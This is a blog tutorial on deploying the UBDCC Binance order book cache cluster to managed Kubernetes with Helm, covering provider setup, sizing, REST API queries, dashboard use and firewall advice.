<p>If you want a simpler non-Kubernetes introduction first, I also wrote a <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">UBDCC + Dashboard quickstart that goes from <code>pip install</code> to a redundant Binance order book cluster</a>. This Kubernetes guide builds on the same idea, but moves the infrastructure into a managed cluster.</p>
<hr />
<h2>Important security note</h2>
<p>In this tutorial, we keep things simple and beginner-friendly.</p>
<p>That also means: after installation, parts of the Kubernetes setup may be reachable from the public internet, depending on your cloud provider and firewall defaults.</p>
<p>The most obvious public entry point is the UBDCC REST API through the Kubernetes LoadBalancer. But do not only think about the REST API. Also check whether your worker nodes, node IPs, NodePorts, or internal UBDCC cluster endpoints are reachable from outside.</p>
<p>For a quick test, this is acceptable if you know what you are doing and clean it up afterwards.</p>
<p>For production, do not leave the cluster openly reachable.</p>
<p>The easiest and fastest protection is usually an IP whitelist in your cloud provider firewall. Allow only your own servers, office IPs, VPN exit IPs or trading infrastructure to access the cluster and the UBDCC REST API. Everything else should be blocked.</p>
<p>Later in this guide, I will point out again where this matters.</p>
<p>Speed is nice. An open unauthenticated market-data cluster on the internet is not.</p>
<hr />
<h1>Costs</h1>
<p>The full test setup with all Binance Spot and Futures DepthCaches on 4 nodes, as described here, cost me less than 3 EUR for a short test run.</p>
<p>For continuous operation, the cost depends mainly on:</p>
<ul>
<li><p>number of nodes</p>
</li>
<li><p>number of DepthCaches</p>
</li>
<li><p>number of replicas</p>
</li>
<li><p>client request volume</p>
</li>
<li><p>provider pricing</p>
</li>
<li><p>network traffic</p>
</li>
<li><p>public LoadBalancers</p>
</li>
</ul>
<p>For testing, use hourly billing where possible and delete the cluster and LoadBalancer afterwards. Depending on the provider, the LoadBalancer may remain billable even after the workloads are gone, so make sure it is actually removed.</p>
<hr />
<h1>Kubernetes cluster sizing</h1>
<p>The nodes are the servers on which your Kubernetes workloads run. They can have different sizes, just like virtual machines.</p>
<p>A few practical thoughts:</p>
<ul>
<li><p>More nodes usually means more public IPs.</p>
</li>
<li><p>More public IPs means more available Binance REST API weight for initialization snapshots.</p>
</li>
<li><p>The most important scalability factor is the number of DCNs.</p>
</li>
<li><p>DCN means <code>DepthCacheNode</code>.</p>
</li>
<li><p>The DCNs are the UBDCC components that actually manage the DepthCaches.</p>
</li>
<li><p>My current recommendation is 1 DCN per CPU core.</p>
</li>
<li><p>RAM usage is relatively low.</p>
</li>
<li><p>For this kind of setup, the cheapest systems with low RAM and 1–2 CPU cores are often the best starting point.</p>
</li>
<li><p>That gives you many nodes, many public IPs and enough DCNs.</p>
</li>
</ul>
<p>For example:</p>
<blockquote>
<p>4 nodes × 2 CPU cores = 8 DCNs</p>
</blockquote>
<p>In my test, this was enough to manage all active Binance Spot and Futures order books with 2 replicas each — roughly 4000 DepthCaches in total.</p>
<p>That number is only useful if the DepthCaches are actually trustworthy. The reason UBDCC is strict about synchronization, failover and serving known-good replicas is the same failure mode I documented in <a href="https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours">the 25-hour Binance DepthCache forensics test</a>: a local order book can look alive while stale price levels accumulate quietly.</p>
<p>The next important factor is your own query interval and client load. That depends on your setup and is something you should test yourself.</p>
<p>I later did exactly that in a larger follow-up test.</p>
<p>I created all 2013 active Binance Spot and Futures order books on Kubernetes with 2 replicas each — 4026 replicated DepthCaches in total — and then stress-tested the UBDCC REST API with Grafana Cloud k6.</p>
<p>That follow-up article shows the difference between a single hot-market workload and distributed REST API load across many DepthCaches:<br /><a href="https://blog.technopathy.club/i-created-2013-binance-order-books-on-kubernetes-with-2-replicas-in-25-minutes-then-stress-tested-the-rest-api">I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API</a></p>
<p>There is one more important sizing factor: market activity.</p>
<p>A test during a quiet market period does not necessarily represent peak load. Binance WebSocket depth streams can deliver significantly more updates when the market gets busy. More updates mean more processing work for the DCNs, more internal synchronization work and higher CPU usage.</p>
<p>So do not size your cluster only based on a calm test window.</p>
<p>Depending on market conditions, the difference between low activity and peak activity can be huge. In practice, I would not be surprised to see several times more update traffic during busy periods. For stress planning, assuming up to 10x more load than during a quiet test is not crazy.</p>
<p>For a simple rule of thumb, start with 1 DCN per CPU core and then watch real CPU usage with <code>kubectl top pods</code> during both quiet and active market periods. You can always adjust the number of DCNs later with Helm.</p>
<hr />
<h1>Create a Kubernetes cluster</h1>
<p>Before we create the cluster, a quick note about provider choice.</p>
<p>I tested this setup on Vultr, OVHcloud and Google Cloud. All three can run UBDCC on Kubernetes, but the experience is not the same.</p>
<p>For this specific use case, Vultr was the easiest and most cost-efficient option in my test. The Kubernetes setup is simple, the nodes are good enough for UBDCC, pricing is straightforward, and you get to a working cluster quickly.</p>
<p>OVHcloud also works well, but the setup is a bit less smooth and the small nodes felt weaker compared to Vultr. Still, it is a valid option and perfectly usable for this kind of workload.</p>
<p>Google Cloud works too, of course, but for this specific tutorial it felt like the most complicated and expensive option. It offers many powerful features, but most of them are not needed here. For a beginner-friendly UBDCC test setup, that extra complexity does not really help.</p>
<p>That is why the provider examples in this guide are ordered by my practical experience with this specific UBDCC setup:</p>
<ol>
<li><p><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#vultr">Vultr</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#ovhcloud">OVHcloud</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#google-cloud">Google Cloud</a></p>
</li>
</ol>
<p>This is not a general cloud-provider ranking. It is only my practical impression for running UBDCC quickly and cheaply on managed Kubernetes.</p>
<h2>Vultr</h2>
<ol>
<li><p>Register an account at <a href="https://www.vultr.com">https://www.vultr.com</a> and add a payment method.</p>
</li>
<li><p>Go to <strong>Compute</strong> → <strong>Kubernetes</strong> and click <strong>Create Cluster</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/67a76530-f72d-4f81-acf3-6d369b68d791.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Choose a cluster name. I used <code>ubdcc</code>.</p>
<p>The node pool requires a label. I used:</p>
<pre><code class="language-bash">ubdcc-2cpu-2gb
</code></pre>
<p>For a first test, options like High Availability and Firewall are not required here. We keep this tutorial focused and simple.</p>
<p>Choose a node type, for example <strong>AMD High Performance</strong>.</p>
<p>Then select your preferred location.</p>
<p>When everything is ready, click <strong>Deploy Now</strong>.</p>
<p>From this point on, it costs money.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ba36ff53-a344-4116-be38-1fa85bcd71d1.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Vultr will now create the Kubernetes cluster.</p>
<p>This usually takes around 5 to 10 minutes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/86039857-3a33-4353-a908-f4b827aa943c.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Once the cluster is <code>active</code>, click the cluster name and download the configuration file.</p>
<p>Click <strong>Download Configuration</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2c05e54a-56fb-42a0-84eb-e3d9b07e535e.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Place this file in your home directory under:</p>
<pre><code class="language-bash">.kube/config
</code></pre>
<p>This applies to Windows, Linux and macOS.</p>
<p>Create the <code>.kube</code> directory if it does not exist yet.</p>
<p>The file must be named exactly:</p>
<pre><code class="language-bash">config
</code></pre>
<p>Not <code>config.txt</code>.</p>
</li>
</ol>
<hr />
<h2>OVHcloud</h2>
<ol>
<li><p>Register an account at <a href="https://www.ovhcloud.com">https://www.ovhcloud.com</a> and add a payment method.</p>
</li>
<li><p>Go to <strong>Public Cloud</strong> → <strong>Managed Kubernetes Service</strong> and click <strong>Create Cluster</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6503efda-7f63-49e7-bb00-ff22c3e81ea7.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Choose a cluster name. I used <code>ubdcc</code>.</p>
<p>Select your preferred region.</p>
<p>For <strong>Select a plan</strong>, the free Kubernetes control plane should be enough.</p>
<p>Choose the suggested Kubernetes version.</p>
<p>For <strong>Private network</strong>, choose <code>None</code> for this beginner setup.</p>
<p>Now create the node pool.</p>
<p>For testing, I recommend the <code>D2-4</code> instance under <strong>Discovery</strong>, with 4 GB RAM and 2 vCores.</p>
<p>Choose the number of nodes.</p>
<p>For a pure test, make sure to select hourly billing.</p>
<p>Give the node pool a name and click <strong>Add node pool</strong>.</p>
<p>When everything is ready, click <strong>Next</strong> and then <strong>Confirm cluster</strong>.</p>
<p>From this point on, it costs money.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/cfcd4543-631f-4c20-b217-d513f9c8124a.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>OVHcloud will now create the Kubernetes cluster.</p>
<p>This usually takes around 5 to 10 minutes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5db87141-b7e4-43cc-ac13-f83fd9a095b0.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Once the status is <code>OK</code>, click the cluster name and download the kubeconfig file.</p>
<p>Click <strong>Download kubeconfig</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/60d420ae-2b5d-4b71-9b2f-b6d07d8fa11d.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Place this file in your home directory under:</p>
<pre><code class="language-bash">.kube/config
</code></pre>
<p>This applies to Windows, Linux and macOS.</p>
<p>Create the <code>.kube</code> directory if it does not exist yet.</p>
<p>The file must be named exactly:</p>
<pre><code class="language-bash">config
</code></pre>
<p>Not <code>config.txt</code>.</p>
</li>
</ol>
<hr />
<h2>Google Cloud</h2>
<ol>
<li><p>Register an account at <a href="https://console.cloud.google.com">https://console.cloud.google.com</a> and add a payment method.</p>
</li>
<li><p>Go to <strong>Kubernetes Engine</strong> → <strong>Cluster</strong> and click <strong>Create</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7c3375cb-e9b9-47be-a006-404feee412c7.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Now click <strong>Switch to Standard cluster</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/702eb310-b94d-46be-8de6-e899ad2de129.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Choose a cluster name. I used <code>ubdcc</code>.</p>
<p>Select your preferred region. Important: You only need one location, not three as Google sets by default. That cuts the cost right down to a third :)</p>
<p>On this tab you can leave the remaining default values as they are.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c6c28c57-02f0-4d53-9bac-d61505c0b795.png" alt="" style="display:block;margin:0 auto" />

<p>Now you need to configure the node pool named "default-pool":<br />Select the "Number of nodes".</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/9fef7d48-54ea-4b36-a866-37a159178474.png" alt="" style="display:block;margin:0 auto" />

<p>For testing, I recommend the <code>E2</code> instance under <strong>General purpose</strong>, with 4 GB RAM and 2 vCores.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/48f22ea6-9391-45b5-b9ab-389d73ab53fa.png" alt="" style="display:block;margin:0 auto" />

<p>When everything is ready, click <strong>Create</strong>.</p>
</li>
<li><p>Google Cloud will now create the Kubernetes cluster.</p>
<p>This usually takes around 5 to 10 minutes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/df2de474-ba21-4020-8a85-6eeaa1de4ea7.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Once the status is <code>Running</code> download the kubeconfig file.</p>
<p>For Google Cloud, you'll need to install, initialise and authorise the <a href="https://docs.cloud.google.com/sdk/docs/install-sdk">Google Cloud CLI</a>.</p>
<p>Install the required plugin using the following command: <code>gcloud components install gke-gcloud-auth-plugin</code>.</p>
<p>Then click <strong>Connect</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/868c69ab-9aca-4586-a1c7-8f78572fc4c7.png" alt="" style="display:block;margin:0 auto" />

<p>Now copy the <code>gcloud</code> command from the web interface and run it locally on your PC or laptop to connect <code>kubectl</code> to the new cluster.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/107d7e72-c28e-4980-9b3c-7bc9c761e907.png" alt="" style="display:block;margin:0 auto" /></li>
</ol>
<hr />
<h1>Install kubectl and Helm</h1>
<h2>kubectl</h2>
<p><code>kubectl</code> is the command line tool used to control your Kubernetes cluster.</p>
<p>Install it on your local machine as described here:</p>
<p><a href="https://kubernetes.io/docs/tasks/tools/">https://kubernetes.io/docs/tasks/tools/</a></p>
<p>You should already have placed the kubeconfig file from your provider at:</p>
<pre><code class="language-bash">.kube/config
</code></pre>
<p>That means <code>kubectl</code> should already know how to connect to your cluster.</p>
<p>Test it with:</p>
<pre><code class="language-bash">kubectl get nodes
</code></pre>
<p>If everything works, you should see your Kubernetes nodes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/a7ab3e81-2943-4066-a209-38817fba5f0a.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Helm</h2>
<p>Helm is the package manager for Kubernetes.</p>
<p>It allows you to install, configure, upgrade and remove Kubernetes applications in a clean and repeatable way.</p>
<p>Install Helm on your local machine as described here:</p>
<p><a href="https://helm.sh/docs/intro/install/">https://helm.sh/docs/intro/install/</a></p>
<p>After Helm is installed, add the UBDCC Helm repository:</p>
<pre><code class="language-bash">helm repo add ubdcc https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster/helm
helm repo update
</code></pre>
<p>Now Helm knows where to find the UBDCC chart.</p>
<hr />
<h1>Deploy UBDCC</h1>
<p>Before installing UBDCC, we install the Kubernetes Metrics Server.</p>
<p>UBDCC uses Kubernetes metrics to determine how many DCNs should be started when you use automatic DCN scaling based on CPU cores.</p>
<p>Install the Metrics Server with:</p>
<pre><code class="language-bash">kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2fd38609-2ed5-4688-bb32-3fe3a7dceb95.png" alt="" style="display:block;margin:0 auto" />

<p>From my experience, it is best to wait at least 5 minutes after installing the Metrics Server.</p>
<p>After that, deploy UBDCC with Helm.</p>
<p>Set <code>dcn.coresPerNode</code> to the number of CPU cores per node.</p>
<p>For example, if each node has 2 CPU cores:</p>
<pre><code class="language-bash">helm install ubdcc ubdcc/ubdcc --set dcn.coresPerNode=2
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c49859fa-54c9-4431-b600-bcc9686ad821.png" alt="" style="display:block;margin:0 auto" />

<p>That is it.</p>
<p>Now wait a few minutes until all containers have started.</p>
<p>In the meantime, let us look at a few basic Kubernetes monitoring commands.</p>
<hr />
<h1>Basic Kubernetes monitoring</h1>
<p>Except for installing UBDCC with Helm, most day-to-day checks are done with <code>kubectl</code>.</p>
<p>To see the pods created for UBDCC, run:</p>
<pre><code class="language-bash">kubectl get pods
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f1a4ea9a-f326-4f9a-8fa6-7f24aa4ccbb6.png" alt="" style="display:block;margin:0 auto" />

<p>Pods are Kubernetes workloads running container images.</p>
<p>For UBDCC, you will see different types of pods:</p>
<h2>ubdcc-mgmt-0</h2>
<p>This is the management component.</p>
<p>It coordinates the UBDCC service and manages the cluster logic.</p>
<h2>ubdcc-restapi-*</h2>
<p>These pods expose the REST API.</p>
<p>They handle client requests and route them to the correct DepthCacheNode.</p>
<h2>ubdcc-dcn-*</h2>
<p>These are the DepthCacheNodes.</p>
<p>They create, synchronize and serve the Binance DepthCaches.</p>
<hr />
<p>To view the logs of a pod, use:</p>
<pre><code class="language-bash">kubectl logs ubdcc-mgmt-0
</code></pre>
<p>To open a shell inside a container, use:</p>
<pre><code class="language-bash">kubectl exec --stdin --tty ubdcc-mgmt-0 -- /bin/bash
</code></pre>
<p>To check resource usage, use:</p>
<pre><code class="language-bash">kubectl top nodes
kubectl top pods
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7e3a8724-a23a-4ed2-8d8e-b8446a3646bf.png" alt="" style="display:block;margin:0 auto" />

<p>Kubernetes and <code>kubectl</code> can do much more, but that is enough for this guide.</p>
<p>We want to run UBDCC, not write a Kubernetes book.</p>
<hr />
<h1>Changing the number of DCNs</h1>
<p>If you want to experiment with the number of DepthCacheNodes, you can change the DCN count while UBDCC is running.</p>
<p>For example, to scale UBDCC to 16 DCNs, run:</p>
<pre><code class="language-bash">helm upgrade ubdcc ubdcc/ubdcc --set dcn.replicas=16
</code></pre>
<p>Kubernetes will then adjust the running <code>ubdcc-dcn-*</code> pods.</p>
<p>You can scale the number up or down and watch the result with:</p>
<pre><code class="language-bash">kubectl get pods
kubectl top pods
</code></pre>
<p>This is useful if you want to test how many DCNs your cluster can handle, how resource usage changes, or how fast large numbers of DepthCaches are initialized.</p>
<p>For a simple rule of thumb, I recommend starting with 1 DCN per CPU core.</p>
<hr />
<h1>How to find the UBDCC REST API IP</h1>
<p>During installation, Kubernetes created a LoadBalancer service for the UBDCC REST API.</p>
<p>This LoadBalancer forwards traffic to the <code>ubdcc-restapi-*</code> pods.</p>
<p>To find the public IP address of your UBDCC REST API, run:</p>
<pre><code class="language-bash">kubectl describe services ubdcc-restapi
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5f795dd6-e621-45ad-813e-1880e676a499.png" alt="" style="display:block;margin:0 auto" />

<p>It can take several minutes until the cloud provider has created the LoadBalancer and assigned a public IP.</p>
<p>The correct IP is shown under:</p>
<pre><code class="language-bash">LoadBalancer Ingress
</code></pre>
<p>In my case, it was:</p>
<pre><code class="language-bash">80.240.27.170
</code></pre>
<p>A simple browser test is:</p>
<pre><code class="language-bash">http://[YOUR_UBDCC_IP]/get_cluster_info
</code></pre>
<p>Example:</p>
<pre><code class="language-bash">http://80.240.27.170/get_cluster_info
</code></pre>
<p>If you get a response, UBDCC is reachable and ready to use.</p>
<p>And yes: at this point it is also reachable from the public internet.</p>
<p>For a quick test, okay.</p>
<p>For anything serious, restrict access with a firewall or IP whitelist.</p>
<hr />
<h1>Create and query your first DepthCache</h1>
<p>Now we create a Binance Spot DepthCache for <code>ETHBTC</code> with 2 replicas.</p>
<p>Replace <code>[YOUR_UBDCC_IP]</code> with the external IP address of your UBDCC REST API service.</p>
<h2>Create the DepthCache</h2>
<p>Linux, macOS or WSL:</p>
<pre><code class="language-bash">curl 'http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&amp;market=ETHBTC&amp;desired_quantity=2'
</code></pre>
<p>Windows PowerShell or cmd.exe:</p>
<pre><code class="language-cmd">curl.exe "http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&amp;market=ETHBTC&amp;desired_quantity=2"
</code></pre>
<p>The parameter <code>desired_quantity=2</code> tells UBDCC to create two synchronized replicas of this DepthCache.</p>
<p>It takes a few seconds until the DepthCache is created, initialized from a Binance REST snapshot and synchronized with the live WebSocket stream.</p>
<h2>Query asks</h2>
<p>Once the DepthCache is ready, query the first 100 ask levels.</p>
<p>Linux, macOS or WSL:</p>
<pre><code class="language-bash">curl 'http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&amp;market=ETHBTC&amp;limit_count=100'
</code></pre>
<p>Windows PowerShell or cmd.exe:</p>
<pre><code class="language-cmd">curl.exe "http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&amp;market=ETHBTC&amp;limit_count=100"
</code></pre>
<p>The parameter <code>limit_count=100</code> limits the response to the first 100 ask levels.</p>
<p>Without <code>limit_count</code>, UBDCC returns the currently available ask side according to the API defaults. In most applications, you should request only the amount of order book depth you actually need.</p>
<h2>Query bids</h2>
<p>Query the currently available bids.</p>
<p>Linux, macOS or WSL:</p>
<pre><code class="language-bash">curl 'http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&amp;market=ETHBTC'
</code></pre>
<p>Windows PowerShell or cmd.exe:</p>
<pre><code class="language-cmd">curl.exe "http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&amp;market=ETHBTC"
</code></pre>
<p>That is the basic idea.</p>
<p>Your application does not need to build and maintain its own Binance order book anymore.</p>
<p>It can just ask UBDCC.</p>
<p>The same REST API can be used from any operating system and from any programming language. The only difference in the examples above is the shell syntax:</p>
<ul>
<li><p>Linux, macOS and WSL use <code>curl</code>.</p>
</li>
<li><p>Windows PowerShell and cmd.exe should use <code>curl.exe</code> to make sure the real curl binary is called.</p>
</li>
<li><p>The URLs are quoted because they contain query parameters such as <code>&amp;</code>.</p>
</li>
</ul>
<p>If you want to understand what happens behind that simple REST call, the architecture is explained in more detail in <a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books">the UBDCC deep dive about building a trust layer for Binance order books</a>.</p>
<hr />
<h1>Using the UBDCC Dashboard</h1>
<p>The easiest way to explore the REST API is the UBDCC Dashboard:</p>
<p><a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">https://github.com/oliver-zehentleitner/ubdcc-dashboard</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7f0b9d8b-b90c-4a41-ae1b-30bb409fb28b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/bc29033c-450d-45f6-9cd3-3adbcb582e26.png" alt="" style="display:block;margin:0 auto" />

<p>With the dashboard, you can:</p>
<ul>
<li><p>manage Binance credentials</p>
</li>
<li><p>create DepthCaches for markets</p>
</li>
<li><p>monitor the UBDCC cluster</p>
</li>
<li><p>inspect cluster status</p>
</li>
<li><p>use the API Builder</p>
</li>
<li><p>generate request examples for different programming languages</p>
</li>
</ul>
<p>The API Builder helps you create working requests for languages like:</p>
<ul>
<li><p>Python</p>
</li>
<li><p>JavaScript</p>
</li>
<li><p>Rust</p>
</li>
<li><p>Bash</p>
</li>
<li><p>C#</p>
</li>
<li><p>and others</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/aab5715e-5341-459d-ab12-de8f600b59bf.png" alt="" style="display:block;margin:0 auto" />

<p>The dashboard runs locally on your PC or laptop.</p>
<p>You need Python installed.</p>
<p>Install it with:</p>
<pre><code class="language-bash">pip install -U ubdcc-dashboard
</code></pre>
<p>Start it from the command line with:</p>
<pre><code class="language-bash">ubdcc-dashboard start
</code></pre>
<p>Then connect it to your cluster:</p>
<pre><code class="language-bash">http://[YOUR_UBDCC_IP]
</code></pre>
<hr />
<h1>Binance API credentials</h1>
<p>UBDCC can manage Binance API credentials.</p>
<p>You can add credentials either through the UBDCC REST API or through the UBDCC Dashboard.</p>
<p>For many public Binance.com Spot market-data use cases, public endpoints are enough. However, not every Binance environment behaves exactly the same.</p>
<p>For some exchanges or regional Binance endpoints, API credentials may be required to access the endpoints needed by UBDCC. One practical example is Binance TR: without API credentials, the initial order book snapshot required to build a DepthCache may not be available.</p>
<p>That matters because a DepthCache needs two things:</p>
<ol>
<li><p>a WebSocket depth stream</p>
</li>
<li><p>an initial REST order book snapshot</p>
</li>
</ol>
<p>Without the snapshot, the DepthCache cannot safely initialize.</p>
<p>Credentials can also matter for rate limits, account-specific access, regional APIs and authenticated endpoint handling. Do not assume that every Binance-like endpoint behaves exactly like Binance.com Spot.</p>
<p>For Binance.com Spot, Binance documents request-weight limits as IP-based, not API-key-based. So more API keys do not automatically mean unlimited request weight from the same IP.</p>
<p>For UBDCC, the practical rule is:</p>
<ul>
<li><p>credentials may be required for some exchanges or regional Binance APIs</p>
</li>
<li><p>credentials can unlock authenticated or region-specific access</p>
</li>
<li><p>more Kubernetes nodes can help because they often provide more outgoing public IPs</p>
</li>
<li><p>more outgoing IPs can help with REST snapshot initialization</p>
</li>
<li><p>API keys are not a replacement for proper rate-limit handling</p>
</li>
<li><p>always respect <code>429</code> responses and back off correctly</p>
</li>
</ul>
<p>In short:</p>
<blockquote>
<p>UBDCC can run without credentials where public endpoints are enough. But for some Binance environments, credentials are not optional — they are required for reliable DepthCache initialization.</p>
</blockquote>
<p>The easiest way to add and manage credentials is the UBDCC Dashboard.</p>
<hr />
<h1>Firewall and access control</h1>
<p>At this point, your UBDCC REST API may be publicly reachable.</p>
<p>Again: that is okay for a short test, but not for production.</p>
<p>The simplest practical setup is usually:</p>
<ul>
<li><p>keep the Kubernetes LoadBalancer</p>
</li>
<li><p>restrict access using the cloud provider firewall</p>
</li>
<li><p>allow only trusted source IPs</p>
</li>
<li><p>deny everything else</p>
</li>
</ul>
<p>For example, allow only:</p>
<ul>
<li><p>your trading servers</p>
</li>
<li><p>your office IP</p>
</li>
<li><p>your VPN exit IP</p>
</li>
<li><p>your monitoring infrastructure</p>
</li>
</ul>
<p>This gives you a simple IP whitelist without making the tutorial more complicated.</p>
<p>More advanced setups are possible later:</p>
<ul>
<li><p>private networking</p>
</li>
<li><p>VPN-only access</p>
</li>
<li><p>reverse proxy with authentication</p>
</li>
<li><p>API gateway</p>
</li>
<li><p>Kubernetes Ingress with auth</p>
</li>
<li><p>mTLS</p>
</li>
<li><p>private LoadBalancers</p>
</li>
</ul>
<p>But for this beginner guide, IP whitelisting is the fastest useful security layer.</p>
<p>Do not leave your REST API openly accessible just because the test worked.</p>
<hr />
<h1>Uninstall and reset</h1>
<p>To remove UBDCC and the Metrics Server, run:</p>
<pre><code class="language-bash">helm uninstall ubdcc
kubectl delete -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
</code></pre>
<p>The second command removes the Kubernetes Metrics Server from the cluster.</p>
<p>After that, resource usage commands such as these will no longer work until the Metrics Server is installed again:</p>
<pre><code class="language-bash">kubectl top nodes
kubectl top pods
</code></pre>
<blockquote>
<p><strong>Important:</strong><br />After uninstalling UBDCC, check your cloud provider dashboard and make sure the public LoadBalancer for <code>ubdcc-restapi</code> is gone.<br />Some providers keep external LoadBalancers as separate billable resources.<br />If this was only a test, delete the cluster and the LoadBalancer.</p>
</blockquote>
<p>If you only want to reset the UBDCC deployment, uninstall UBDCC first:</p>
<pre><code class="language-bash">helm uninstall ubdcc
</code></pre>
<p>Then install it again:</p>
<pre><code class="language-bash">helm install ubdcc ubdcc/ubdcc --set dcn.coresPerNode=2
</code></pre>
<p>If this was only a short test, also delete the Kubernetes cluster in your cloud provider dashboard.</p>
<p>Important: also check that the public LoadBalancer created for <code>ubdcc-restapi</code> has been deleted. Depending on the cloud provider, external LoadBalancers can remain billable resources even when the application itself has already been removed.</p>
<p>Otherwise, the nodes or LoadBalancer may keep running and keep costing money.</p>
<hr />
<h1>Conclusion</h1>
<p>That is the whole setup.</p>
<p>You created a managed Kubernetes cluster, connected it with <code>kubectl</code>, installed Helm, deployed UBDCC and created your first Binance DepthCache with replicas.</p>
<p>The result is a redundant Binance order book service that can be used by any application over REST.</p>
<p>Instead of every bot maintaining its own fragile local order book, you can run the order book infrastructure once and let all your systems consume it.</p>
<p>That is the main idea behind UBDCC:</p>
<blockquote>
<p>Build the market-data infrastructure once.<br />Keep it synchronized.<br />Add failover.<br />Serve it over REST.<br />Use it from any language.</p>
</blockquote>
<p>For small tests, this is already useful.</p>
<p>For larger trading infrastructure, it becomes even more interesting.</p>
<p>Because at some point, the question is no longer:</p>
<blockquote>
<p>How does this one bot get an order book?</p>
</blockquote>
<p>The better question is:</p>
<blockquote>
<p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why does every bot maintain its own order book at all?</a></p>
</blockquote>
<p>UBDCC gives you a different answer.</p>
<p>If something in this guide is unclear, missing, or does not work in your setup, please post it in the comments.</p>
<p>I am happy about constructive feedback, real-world test results, error reports, edge cases, and improvement ideas. If something is useful for others too, I will try to pick it up and improve the article accordingly.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[The Complete Binance Python API Guide (2026)]]></title><description><![CDATA[The Complete Binance Python API Guide (2026)
